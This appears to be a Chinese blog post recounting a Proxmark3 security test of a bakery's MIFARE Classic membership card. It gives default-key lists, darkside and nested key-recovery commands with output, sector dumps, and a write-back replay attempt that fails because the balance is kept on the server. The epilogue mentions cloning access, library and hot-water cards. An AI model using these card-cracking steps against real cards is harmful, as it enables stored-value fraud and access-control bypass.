IC卡安全测试
目录
这事得从我上周四晚上去订了个生日蛋糕说起了……
故事起源
生日一年一次,订个蛋糕也是常有的事。某晚趁着夜黑风高,找到了一家蛋糕店,精挑细选要了一个蛋糕,买单之际收银台的小姑娘突然推销了一下:办个会员卡订生日蛋糕享受8折优惠哦,充100还多送10元……于是乎就这样搬了一张会员卡。
如图,这是一张充满魔性的VIP会员卡,你看卡上的蛋糕是如此可爱诱人令人垂涎三尺……
额,跑题了,重来。。。
如图,这是一张非接触式的IC卡,根据应用场景推测,这应该是一张高频卡(工作频率在13.56MHz)。出于好奇,我决定对这张卡进行一次简单的安全测试。
不过在此之前,如果你不知道啥是M1卡,那么可以先脑补一下基础知识。
测试装备
工欲善其事,必先利其器。进行IC卡的安全测试,当然要有相应的装备才行,典型的设备有:ACR122和Proxmark3。
ACR122U读写器,采用的NXP公司出口的PN532读写芯片,符合ISO/IEC18092(也就是NFC)标准,兼容ISO14443a/b标准。
Proxmark3,由国外Jonathan Westhues设计开发的开源硬件,主要用于RFID的嗅探,读取以及克隆。它堪称是IC卡安全测试领域的神器,除了读写卡片之外,还可以进行嗅探、模拟等许多操作。
常用的安全测试卡片有UID卡,也就是M1卡的一种特种卡,它在普通M1卡的基础上突破了UID区域(0扇区0块)不可写入的限制。一般是针对绑定UID号的IC卡应用,比如你的学生卡跟你的学号信息绑定这种情况。
有了UID卡,就有了所谓的克隆卡和复制卡,两者的区别:
使用的卡片不同:复制卡使用普通的M1卡,克隆卡采用UID卡;
结果不同:复制卡只是复制了卡上的数据而已,uid不同;克隆卡完全复制了所有扇区,包括uid块;
重拾旧业
现在我们就开始用proxmark3对这张美丽的蛋糕卡进行测试啦。上一次使用proxmark3都不知是何年何月了,当时的固件版本还是r651,而今却早已经到8xx了,下载了一个842的固件升级,板与PC的连接方式也已经改成了CDC(串口连接)。
第一步:测试卡类型
前面我们已经介绍了,大部分的非接触式IC卡都是符合(兼容)ISO14443a标准的,而卡的基本信息位于0扇区0块一般也都是不加密的,一次我们可以直接用proxmark读取数据:
proxmark> hf mf 14a reader ATQA: 04 00 UID : xx xx xx xx SAK : 08 [2] TYPE: NXP MIFARE CLASSIC 1K | Plus 2k SL 1
从NXP官方的种类分析文档我们可以知道:MIFARE Mini、MIFARE Classic 1K、MIFARE Plus、SmartMX with MIFARE1K emulation(兼容模式)都会在ATQA显示为 04 00。因此,从上面的信息我们可以推测,这是很有可能是一张典型的Mifare Class 1k的卡,而这种卡有很大程度上存在着Mifare Classic安全漏洞,该漏洞是在2008年时国外的两位安全专家发现的。当然,从漏斗发现到现在已经好多年了,NXP肯定也会加强安全的意识,因此新的1K也不一定存在相关的安全漏洞。
那么什么是Mifare Class安全漏洞呢(参考:从乌云的错误漏洞分析看Mifare Classic安全)?
- 首先(PRNG安全缺陷),国外的安全研究人员发现,MIFARE Classic采用的是Crypto-1私有加密算法,其算法的特点就是对称式的密码算法或者说是私钥密码系统。其主要组成部分是伪随机数发生器(PRNG)、48位的线性反馈移位寄存器(LFSR)以及非线性函数。由于算法当中的Filter Function的设计出现缺陷,导致改变线性反馈移位寄存器的后8位数值就有可能得到所对应的Keystream。这个缺陷类似于802.11b WEP算法,不同的明文有极高的可能性被相同的Keystream,使得整个加密算法出现了漏洞。
- 第二(已知密钥穷举),从多次针对算法的破解得出的Key列表中发现,很多使用MIFARE Classic的用户都会将其默认的密钥延续使用,意思就是很多人宁可贪图一时方便继续使用出厂时的密钥,也不会根据自身的安全需求而进行改变,以至我们可以不需要花费太多的时间就可以进行破解从而得到卡类的信息。综合上述,我们知道如果要处理任何MIFARE Classic卡的数据都需要利用密钥进行识别,从而读取对应的数据。不破解就不可能读取其内容。
- 第三(暴力破解,缺乏防碰撞机制),从WEP到WPA/WPA2的密钥破解我们可以知道,暴力破解已经从浪费时间、成功率低到现在GPU暴力破解时间短、成功率高转变,MIFARE Classic也是如此,我们可以利用GPU等高速暴力破解手段进行破解,从而得到我们所需要的密钥.
第二步:测试秘钥
从上面的分析中,我们已经大致确定了这是一张M1卡,现在我们需要测试keyA/keyB,只有知道了这两个key(之一),我们才能读取到卡内的数据。
根据上面的漏洞分析,我们可以先采用“已知秘钥穷举”来简单测试一下。对于M1卡默认的秘钥有:
000000000000, ffffffffffff,b0b1b2b3b4b5,a0a1a2a3a4a5 ……
具体可以参看:Mifare classic默认密钥列表, 然后我们就可以测试一下啦~~~
proxmark> hf mf chk *1 ? ffffffffffff …… …… # 如果测试成功,这里会有相应的提示信息
当然,现在大家一般都比较重视安全,使用默认秘钥也比较少了,所以如果这里默认秘钥测试不出来怎么办呢?可以尝试暴力破解,不过这种看人品的事情我们还是不尝试了;因此,剩下最后一种方法,利用M1卡的PRNG漏洞,这种破解成功率还是挺高的:
proxmark> hf mf mifare # 然后就是一连串的破解过程了,耐心等待…… …… …… …… …… …… Key found: aabbccddeeff Found invalid key. < Nt=3452baa1 # 这里提示的 invalid key,说明找得key还不正确,但已经证明漏洞是存在的了 proxmark> hf mf mifare 452baa1 # 然后就又是等待了,这个过程可能会持续好多次,直到最后成功 …… …… …… …… …… …… …… …… …… …… Key found: f1350304**** Found valid key: f1350304****
就这样,我们得到了一个key,然后再用hf mf chk测试一下:
proxmark> hf mf chk *1 ? f1350304**** …… …… …… …… …… # 这里会对所有扇区进行测试,这样我们就能知道这个key是属于哪个扇区的KeyA/KeyB了
OK,得到了一个key之后,我们就可以进行全卡key的测试了:
proxmark> hf mf nested 1 0 A f1350304**** # 这个过程很快,然后我们就可以得到整张卡所有扇区的key啦, 撒花~~~~ |---|----------------|---|----------------|---| |sec|key A |res|key B |res| |---|----------------|---|----------------|---| |000| f1350304**** | 1 | 1519c688**** | 1 | |001| af350304**** | 0 | 1519c688**** | 0 | |002| a1f50304**** | 1 | 1519c688**** | 1 | |003| a13f0304**** | 1 | 1519c688**** | 1 | |004| a135f304**** | 1 | 1519c688**** | 1 | |005| a1350f04**** | 0 | 1519c688**** | 0 | |006| a13503f4**** | 1 | 1519c688**** | 1 | |007| a135030f**** | 1 | 1519c688**** | 1 | |008| a1350304**** | 0 | 1519c688**** | 1 | |009| a1350304**** | 1 | 1519c688**** | 1 | |010| a1350304**** | 1 | 1519c688**** | 1 | |011| a1350304**** | 1 | 1519c688**** | 1 | |012| f1350304**** | 1 | 1519c688**** | 1 | |013| af350304**** | 1 | 1519c688**** | 1 | |014| a1f50304**** | 1 | 1519c688**** | 0 | |015| a13f0304**** | 1 | 1519c688**** | 1 | |---|----------------|---|----------------|---|
题外话:可能有人会问:如果利用PRNG漏洞也得不到key是不是就没辙失败了?当然不是,我们的proxmark3可是万能的神器,漏洞破解不出来,我们还可以利用嗅探的方式呀。不过这可能要求你能自由的去刷卡,你总不能拿着proxmark3去人家店里做测试吧,被警察叔叔带走了怎么办。。。
第三步:分析数据
得到了KeyA/KeyB后,我们就可以开始研究卡内的数据啦~~~~
proxmark> hf mf rdsc 0 A f13f0304**** # 用KeyA读取0扇区内的数据 --sector no:00 key type:00 key:f1 35 03 04 ** ** #db# READ SECTOR FINISHED isOk:01 data:d9 d1 ** ** 2c 08 04 00 01 1b 7c 47 7a 60 94 1d data:d7 7a 00 00 28 85 ff ff d7 7a 00 00 01 fe 01 fe data:32 30 30 32 31 30 30 35 00 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** proxmark> hf mf rdsc 1 A af350304**** --sector no:01 key type:00 key:af 35 03 04 ** ** #db# READ SECTOR FINISHED isOk:01 data:f8 2a 00 00 07 d5 ff ff f8 2a 00 00 04 fb 04 fb data:b8 15 00 00 47 ea ff ff b8 15 00 00 05 fa 05 fa data:01 00 00 00 fe ff ff ff 01 00 00 00 06 f9 06 f9 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** proxmark> hf mf rdsc 1 A a1f50304**** --sector no:02 key type:00 key:a1 f5 03 04 ** ** #db# READ SECTOR FINISHED isOk:01 data:00 00 00 00 ff ff ff ff 00 00 00 00 08 f7 08 f7 data:00 00 00 00 ff ff ff ff 00 00 00 00 09 f6 09 f6 data:4d 53 54 41 52 53 4f 46 54 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** proxmark> hf mf rdsc 1 A a13f0304**** --sector no:03 key type:00 key:a1 3f 03 04 ** ** #db# READ SECTOR FINISHED isOk:01 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** # sector 04 ~ 0e 的数据都跟sector 03一样是空的,这里就省略了啦 ………… ………… proxmark> hf mf rdsc 1 A a13f0304**** --sector no:0f key type:00 key:a1 3f 03 04 ** ** #db# READ SECTOR FINISHED isOk:01 data:00 00 00 00 ff ff ff ff 00 00 00 00 3c c3 3c c3 data:00 00 00 00 ff ff ff ff 00 00 00 00 3d c2 3d c2 data:03 00 00 00 fc ff ff ff 03 00 00 00 3e c1 3e c1 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** **
至此,我们就已经得到整张卡的数据啦。初步分析,卡内的有效数据集中在扇区0,1,2,f这四个扇区,接下来我们需要更多的数据来进一步的分析。
第四步:买买买
为了得到更多有效的数据,我们必须继续去刷卡消费,买买买走起!!!
于是,某天晚上吃完饭趁着顺路去买了个面包当宵夜(醉翁之意不在酒……呵呵~~~),回来之后立即读卡测试,得到以下的数据:
# 这里只列出了sector 0 1 2 f四个有效扇区的数据 --sector no:00 key type:01 key:15 19 c6 88 ** ** data:d9 d1 0b 2f 2c 08 04 00 01 1b 7c 47 7a 60 94 1d data:d7 7a 00 00 28 85 ff ff d7 7a 00 00 01 fe 01 fe data:32 30 30 32 31 30 30 35 00 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** --sector no:01 key type:01 key:15 19 c6 88 ** ** data:f8 2a 00 00 07 d5 ff ff f8 2a 00 00 04 fb 04 fb data:ca 12 00 00 35 ed ff ff ca 12 00 00 05 fa 05 fa data:02 00 00 00 fd ff ff ff 02 00 00 00 06 f9 06 f9 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** --sector no:02 key type:01 key:15 19 c6 88 ** ** data:00 00 00 00 ff ff ff ff 00 00 00 00 08 f7 08 f7 data:00 00 00 00 ff ff ff ff 00 00 00 00 09 f6 09 f6 data:4d 53 54 41 52 53 4f 46 54 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** --sector no:0f key type:01 key:15 19 c6 88 ** ** data:00 00 00 00 ff ff ff ff 00 00 00 00 3c c3 3c c3 data:00 00 00 00 ff ff ff ff 00 00 00 00 3d c2 3d c2 data:03 00 00 00 fc ff ff ff 03 00 00 00 3e c1 3e c1 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** **
通过对比发现,刷卡消费前后,只有sector 1的block 1、2数据发生了改变,看来这里是关键之处。而根据买单后的小票可知,卡内的余额减少了,积分增加了。
为了进行下一步的分析,我们需要对卡片内的数据进行重放,重新将sector 1的block 1、2的数据改为消费前的数据:
# 这里将数据写入了卡片的sector 1的block 1(每个扇区4个block,这里也就是block编号5) proxmark> hf mf wrbl 5 A af350304**** b815000047eaffffb815000005fa05fa # 写入到sector 1的block 2 proxmark> hf mf wrbl 6 A af350304**** 01000000feffffff0100000006f906f9
第五步:成败在此
按照前面我们的操作,买买买刷卡后又将数据重放到未刷卡前的状态,因此下一次刷卡将可以得到很多有用的信息,决定成败的关键时刻到了!!
于是乎,在某一个夜黑风高的晚上,我又一次刷卡买了个面包!然而结果却是:卡里的余额正常,积分也正常……
# 读取卡内的数据,对比前两次的结果,还是sector 1的block 1、2的数据发生变化。 --sector no:00 key type:01 key:15 19 c6 88 ** ** data:d9 d1 0b 2f 2c 08 04 00 01 1b 7c 47 7a 60 94 1d data:d7 7a 00 00 28 85 ff ff d7 7a 00 00 01 fe 01 fe data:32 30 30 32 31 30 30 35 00 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** --sector no:01 key type:01 key:15 19 c6 88 ** ** data:f8 2a 00 00 07 d5 ff ff f8 2a 00 00 04 fb 04 fb data:60 13 00 00 9f ec ff ff 60 13 00 00 05 fa 05 fa data:02 00 00 00 fd ff ff ff 02 00 00 00 06 f9 06 f9 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** --sector no:02 key type:01 key:15 19 c6 88 ** ** data:00 00 00 00 ff ff ff ff 00 00 00 00 08 f7 08 f7 data:00 00 00 00 ff ff ff ff 00 00 00 00 09 f6 09 f6 data:4d 53 54 41 52 53 4f 46 54 00 00 00 00 00 00 00 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** ** --sector no:0f key type:01 key:15 19 c6 88 ** ** data:00 00 00 00 ff ff ff ff 00 00 00 00 3c c3 3c c3 data:00 00 00 00 ff ff ff ff 00 00 00 00 3d c2 3d c2 data:03 00 00 00 fc ff ff ff 03 00 00 00 3e c1 3e c1 data:00 00 00 00 00 00 ff 07 80 00 15 19 c6 88 ** **
虽然卡内数据发生了改变,但是余额和积分均正常,这可以肯定关键数据并非保存在IC卡内。根据蛋糕店的情况,这是一家连锁蛋糕店,因此其收银机应该是联网的,而这些关键的数据应该是保存在服务器端,除非黑进了该店的数据库服务器,否则基本没什么可能了。
对于这样的会员卡系统,整体安全性还是比较高的,除非服务端被攻破,否则单纯从客户会员卡入手,威胁并不大。
尾声
讲到这里,我们的安全测试也就基本结束了。不过为了整理这么多资料,我可是连多年前做的笔记都拿出来参考了,想当年初次接触proxmark3,还直接把它github上面的全英的wiki打印下来完整的看了一遍。
在大学期间,曾经花了挺长一段时间去了解各种IC卡,门禁卡等。虽然涉略的东西不广也不深,但也还是收获颇丰。曾测试复制过大楼的出入门禁卡(低频卡,芯片为em4x),也曾对某些热水卡进行安全测试(后来直接造福某个洗澡半个小时的家伙),或测试克隆一张图书馆卡有空回学校呆着。
谨以此纪念我那被狗吃了的美好的大学时光!
扩展阅读
关于射频研究及Proxmark3,可以参考以下的网站:
评论